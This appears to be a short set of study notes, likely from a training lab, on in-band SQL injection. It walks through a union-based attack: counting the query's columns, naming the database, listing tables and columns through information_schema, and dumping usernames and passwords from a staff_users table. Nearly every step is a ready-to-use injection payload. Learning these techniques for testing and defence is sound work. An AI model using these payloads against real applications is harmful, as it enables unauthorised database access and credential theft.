# In-Band SQLi

### 2 types:

* Error-Based SQLi
* Union-Based SQLi

### Example for an Union-Based SQLi:

1. Try to find how many columns the original SELECT query return

   <mark style="color:red;">`1 UNION SELECT 1`</mark>→ error

   <mark style="color:red;">`1 UNION SELECT 1,2`</mark>→ error

   <mark style="color:red;">`1 UNION SELECT 1,2,3`</mark>→ success!

   So, in this case, we have 3 columns
2. If the result is only one the first one, do this: <mark style="color:red;">`0 UNION SELECT 1,2,3`</mark>
3. Get the database name

   <mark style="color:red;">`0 UNION SELECT 1,2,database()`</mark>
4. And so on with tables and columns that are in the founded database

{% code overflow="wrap" %}

```sql
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
```

{% endcode %}

{% code overflow="wrap" %}

```sql
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
```

{% endcode %}

5. Finally, concat every columns you want the result to dump values

{% code overflow="wrap" fullWidth="false" %}

```sql
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
```

{% endcode %}


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